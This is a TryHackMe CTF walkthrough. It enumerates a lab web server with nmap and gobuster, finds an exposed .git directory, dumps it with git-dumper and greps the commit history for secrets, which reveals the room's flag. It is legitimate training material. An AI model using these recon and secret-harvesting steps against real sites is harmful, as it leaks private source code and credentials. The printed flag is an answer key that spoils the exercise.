Room 404: Recon/Enumeration x Git logs (TryHackMe)
Link to the challenge on TryHackMe: Room 404
🛎️ Concierge Briefing
He booked the quiet room. It's not on the floor plan, not in the brochure, not on any door. But port 8080 is wide open, and the rooms it never lists are the ones worth finding.
Welcome to the Byte Lotus, where the WiFi is open, the app is free, and the concierge already knows your coffee order. You spend these first days as a guest who simply notices things — a room that isn't on the floor plan, packets that leave every night at the same hour, a profile assembled from two breakfasts and a livestream.
The Byte Lotus guest-experience platform went live in a hurry, and the night-shift developer shipped more than the website.
🏖️ TODAY'S ITINERARY
Dump the exposed source code.
Find the flag.
Web
nmap -p- -sV IP_Address
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy Werkzeug/3.0.1 Python/3.12.3
curl http://IP_Address:8080
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Byte Lotus — Stay Noticed</title>
<style>
:root { --ink:#e8e4d8; --bg:#0c0e0d; --accent:#c8a96a; --muted:#6f7370; }
* { box-sizing:border-box; margin:0; padding:0; }
body { background:var(--bg); color:var(--ink); font-family:Georgia,'Times New Roman',serif;
min-height:100vh; display:flex; flex-direction:column; }
.bar { display:flex; justify-content:space-between; align-items:center;
padding:22px 40px; border-bottom:1px solid rgba(200,169,106,.18);
letter-spacing:.32em; font-size:13px; text-transform:uppercase; color:var(--accent); }
.bar nav a { margin-left:26px; color:var(--muted); text-decoration:none; }
.bar nav a:hover { color:var(--accent); }
main { flex:1; display:flex; flex-direction:column; justify-content:center;
max-width:720px; margin:0 auto; padding:60px 32px; }
.lotus { font-size:13px; letter-spacing:.5em; color:var(--accent); text-transform:uppercase; }
h1 { font-size:54px; font-weight:normal; line-height:1.1; margin:18px 0 28px;
font-family:'Didot','Bodoni MT',Georgia,serif; }
p.lead { font-size:18px; line-height:1.8; color:#cfcabb; }
.cta { margin-top:38px; }
.cta a { display:inline-block; border:1px solid var(--accent); color:var(--accent);
padding:13px 28px; text-decoration:none; letter-spacing:.18em; font-size:13px;
text-transform:uppercase; transition:.2s; }
.cta a:hover { background:var(--accent); color:var(--bg); }
footer { padding:20px 40px; border-top:1px solid rgba(200,169,106,.12);
color:var(--muted); font-size:12px; letter-spacing:.12em; display:flex; justify-content:space-between; }
</style>
</head>
<body>
<div class="bar">
<div>❀ BYTE LOTUS</div>
<nav><a href="#">Rooms</a><a href="#">The App</a><a href="#">Concierge</a><a href="#">Stay</a></nav>
</div>
<main>
<div class="lotus">— arrivals —</div>
<h1>Byte Lotus</h1>
<p class="lead">
At BYTE LOTUS Hotel, we believe comfort begins before you arrive. Our
intelligent guest experience platform helps us anticipate your needs,
streamline your stay, and ensure every moment feels effortless.
</p>
<div class="cta"><a href="/booking">Reserve a stay</a></div>
</main>
<footer>
<span>BYTE LOTUS HOSPITALITY GROUP</span>
<span>guest experience platform · build staging</span>
</footer>
</body>
</html>
gobuster dir -u http://IP_Address:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
gobuster dir -u http://IP_Address:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
/.git/HEAD (Status: 200) [Size: 21]
curl http://IP_Address:8080/.git/HEAD
ref: refs/heads/main
pip install git-dumper --break-system-packages
git-dumper http://IP_Address:8080/.git/ /root/byte-lotus-git
cd /root/byte-lotus-git
root@ip-10-113-105-198:~/byte-lotus-git# git log --all --oneline
0f13550 (HEAD -> main) initial Byte Lotus guest platform
root@ip-10-113-105-198:~/byte-lotus-git# git log --all -p | grep -i -E "password|secret|key|token|flag"
+Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_fredacted}
